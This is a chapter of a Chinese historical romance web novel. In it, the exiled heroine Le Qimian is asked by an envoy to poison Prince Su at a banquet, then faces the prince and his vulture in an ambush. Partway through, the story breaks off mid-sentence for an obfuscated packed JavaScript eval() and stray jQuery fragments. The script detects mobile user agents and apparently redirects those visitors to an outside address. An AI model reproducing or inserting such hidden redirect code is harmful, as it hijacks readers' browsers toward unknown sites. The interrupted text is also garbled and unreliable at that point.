眼前少女与传闻中的形象相去甚远,以至薛贤过了半晌,才反应过来:“……久仰大名,乐小姐。”
其实他三年前才被提拔为副承旨,此前远不到能让武安侯之女“久闻不如一见”的地步。但他只当客套话,也回以一礼。
乐绮眠坐在车内,并未起身:“沿途风雪交加,马车有座椅,也足够宽敞,大人不如入内一坐。”
她说的是客气话,但这张脸委实有迷惑性,听上去并无敷衍之意,反而比旁人多三分真挚。
“那便叨扰了,”薛贤略有犹豫,但见乐绮眠目光坦然,还是撩起袍摆,迈入车内,“小姐方离开御史台,衣衫单薄,这里有一件氅衣,可以披上。”
乐绮眠的衣裙是瑞昌从犯人手中找来,质地好不到哪去,她接过氅衣,但指尖划过袖口,碰到其下轻微起伏,眼中笑意加深。
她穿衣的功夫,薛贤问:“小姐随徐公公出城,应当知道,除却送小姐入营,此行目的,意在与国相谈判?”
乐绮眠说:“自然。”
“但,”薛贤话锋一转,“谈判只是目的之一。”
乐绮眠看过来,眼中流露惊奇:“使团还有其他目的?”
“乐小姐可知,几日前,应州勤王军与朝廷取得联络,约定在两国宴席之时,与使团里应外合,”薛贤观察她的脸色,将所有变化收入眼中,“拿下北营,解围城之危?”
此事乐绮眠的确不知,她以为枢密院早知城防军不是苍人对手,不想薛贤还有这等胆量,来了兴趣,却故意皱眉:“大人没有说笑?国相可带了十万大军。”
她口中的国相是征南军如今的主帅,此次北苍兵分两路南下,其中,东路大军便受国相统制。
“国相看似独揽大权,实则尾大不掉,已有衰颓之相,”薛贤道,“咱们这次要对付的,另有其人。”
乐绮眠歪头,心中已有不妙预感,但状似惊讶:“竟有人比国相更强横?”
“北苍四皇子,”薛贤提到此人,声音沉下,“如今的征南军副帅,诸天御卫指挥使,封号肃王那位,他才是使团目的所在。”
肃王。
乐绮眠预感成真,心头一滞,但维持着笑容,托起两腮:“四皇子?如今他竟坐到副帅的位置?”
她流放三年,世事早已大变,薛贤见她消息滞后,解释道:“不错,北苍四位皇子中,唯独肃王出身异族,生母又参与叛乱,孤儿始终不受重用。但他老师是北苍大将,三年前,他弑师求荣,上书北君,设诸天御卫,专司缉捕谳狱,监视军政要员。北君忌惮他老师与国相独揽兵权,果然欣然应允。自此,御卫所在,一如天子亲临。此次南下,不但与国相分庭抗礼,甚至直撄其锋。”
乐绮眠从听到这人的封号起,便有些头疼。并非她恐惧此人,而是三年前,因为刺杀一事,她与肃王有过“小小”摩擦。
果然,薛贤迫不及待道:“某听说小姐曾从肃王手中劫下郡王殿下,料想小姐有对付肃王的经验。今夜苍人设宴,肃王也会到场,届时,请小姐换掉案前酒盏,与某里应外合,击退北军。”
“不可,”乐绮眠咳嗽一声,“我的确曾在他护送郡王时下手,不过误打误撞,并非武力过人。恐怕他现在,也恨极了我。”
那名士兵吃了一惊:“她?毒杀肃王?”
人人都以为残害郡王的是个女中恶鬼,可亲眼见过乐绮眠,对她能否提剑都持疑,何况毒杀肃王?
薛贤却坚持道:“小姐不必妄自菲薄。何况御卫不会严加防备女子,你有更多机会近身。这杯酒,只能小姐来换。”
薛贤若知她与肃王有过何种摩擦,恐怕不会让她换这杯酒——因为当年,是她蓄意接近肃王,在他放下防备时,亲手将他射落马下。
她还记得,那时他的眼神有如寒冰,冷彻人心。这份恨意积攒三年,只怕她刚入营,肃王便会将她擒入狱中。
薛贤又劝:“肃王狠辣无情,若叫这种拿下奉京,城中百姓危矣!有勤王军在,必保小姐无恙,”他深深一拜,好似极为虔诚,“若小姐应下此事,某必全力相助。”
乐绮眠心知他葫芦里卖的什么药。车外遍布禁军,即便她想拒绝,也要看薛贤的脸色。可一旦应下,出了岔子,枢密院不但不会救她,更会落井下石。
她笑笑:“并非不能,只是我与肃王交恶,只怕不仅不会让我近身,还会想法设法找我的麻烦。”
薛贤见她动摇,乘胜追击:“小姐无需担忧,有某与禁军在,必不让肃王伤你分——”
话音未落,车厢剧烈晃动,仿佛有重物砸在车顶,连续发出“咚”声闷响!
士兵霍然起身:“落石?”
薛贤拧眉:“不,声音不对,应当……”
“嘭!”
车顶轰然塌陷,光线涌入,一道黑影罡风般刮入车内,朝乐绮眠扑来!
薛贤变了脸色:“小心背后!”
嗯?
乐绮眠闻到浓郁的血腥味,才循着气味回头。不料这一看,与一只漆黑的兀鹫打了个照面。
这只兀鹫站在角落,足有她膝盖高,随着视线上移,能看到黑色的贯眼纹延伸至喙部,上方那对幽冷的金瞳如冥河磷火,正越过薛贤,看向乐绮眠。
是肃王的兀鹫!
薛贤连退两步,撞在车壁。
苍人善驯猎隼,唯独肃王养一只食腐的兀鹫,可无人敢轻视这只兀鹫,因为它曾咬死过最凶猛的猎隼,扑杀活人,更不在话下。他这几日待在外城,远远见过。对于无法咬碎的猎物,它会通过反复抛掷达粉碎骨肉,刚才的巨响,分明是进食的前兆!
恰在此时,随行禁军破开车门,道:“护送薛大人避险!”
薛贤从车上翻下,跳上战马,急道:“北使何在!”
兀鹫出现在车内,说明肃王就在附近。谈判尚未开始,便用兀鹫挑衅使团,此事传回朝中,枢府颜面何存?
外界人仰马翻,乐绮眠却安静待在车内,一点没有逃走或躲避的意思。
士兵慌道:“你还不逃!”
乐绮眠笑眯眯说:“为何要逃?”
士兵不解其意,但见乐绮眠掠过他背上箭囊,将那把角弓夺到手中。
士兵说:“你做什——”
局势混乱,没人注意这处角落。下一瞬,乐绮眠弯弓搭箭,飞箭势如破竹,直取兀鹫咽喉——
然而比乐绮眠更快的,是侧方飞来的箭影。
那是一支通体漆黑的箭矢,穿透乐绮眠那只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294366|167077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飞箭时寂然无声,紧接着,被贯穿的飞箭从中断裂,“咔哒”一声,化为碎片!
看清那支箭矢的样貌,乐绮眠心中突跳:不,不会这么巧,那人应当还在营中,也没有提前出现的必要。
然而怕什么来什么,她抬臂又引一箭,可这次,羽箭没能送出,因为一只覆盖黑色腕甲的手压下那把角弓,让它纹丝不动。
“呼——”
战马覆盖铁面具,在风雪中喷吐白雾,一支全副武装的铁骑出现在林中,黑鹫军旗迎风招展,包围整座使团。
“不好,”士兵惊呼,“是诸天御卫!”
刀剑交戈声中,乐绮眠沿着那只角弓看去,最先留意到眼前之人的黑甲。
与其他御卫不同,这身甲胄轻而薄,能看出对方的身形轮廓。眼前人身量极高,肩宽腰窄,手臂束缚在军服之下,看上去并不起眼,可按住长弓时,却犹如万钧铁壁。
薛贤注意到此处,沉下脸:“尚未谈判便袭击使团,这便是肃王殿下的待客之道?”
果真是肃王!
众人大惊失色,纷纷朝那人看来。可头盔下的铁面罩将所有窥探的视线隔绝在外,没人知道面罩下的反应。但即使如此,当对方轻轻侧首,看向薛贤,在场禁军也不禁打了个寒噤。
不仅因为他体格高大,也因为他肩甲表面刻有狰狞凶恶的兀鹫首级,正向下流淌血珠。可以想见,能撕碎猛兽、甚至活人的兀鹫,是如何乖顺地落在他肩头。
薛贤道:“肃王殿下为何不言?难道——”
不待说完,远处马蹄声忽起,一阵不属于双方的箭矢猝然落下,射向使团。
糟糕。
乐绮眠心有所感,看向箭矢来处,果然在寒林尽头,看到属于国相的军旗。
旁人或许不清楚,但乐绮眠知道,苍人对乐家恨之入骨,尤其是国相,因为阻挠和谈一事,早有将侯府斩草除根之意。
眼看流矢到了跟前,她转身欲退,腕部却传来冰凉触感。一道镣铐扣住她的手腕,其上刻有小字,是苍人囚困奴隶所用的枷锁。锁链沉重,猛然将她拉往后方!
“当啷!”
箭矢击打在黑甲之上,甲面入手寒凉,乐绮眠指腹泛起刺痛,但奇怪的是,她并不害怕,反而产生奇妙的触动。
很熟悉。
其实流放三年,乐绮眠起初还记得北上刺杀郡王的三月,看着被旁人视为凶神恶鬼的四皇子,一日日在她的软化下放松戒备时,是何种心情。但天长日久,不仅模糊了时间的概念,记忆也开始出现差错。
好比现在,这身黑甲早就被遗忘在角落,可当它再次出现,那些零碎的片段,如同凛冽的寒风,从眼前呼啸而过——
“该叫你傅指挥使,”乐绮眠对上他的视线,眯起眼眸,“还是肃王殿下?”
天将破晓,隆冬的冷雾缓慢消散,伴随着“咔哒”轻响,铁面罩被推往上方。
一双琥珀色眼眸浸润在霞光下,流淌着黄金般的色泽。可再往上,一道箭疤横在眼尾,犹如白玉染瑕,破坏了这幅光景,让这人的眉眼染上凶戾,变得不可亲近。
“将死之人,”兀鹫落在傅厌辞肩头,他讥诮道,“不必知晓。”
箭势如雨,无差别落下。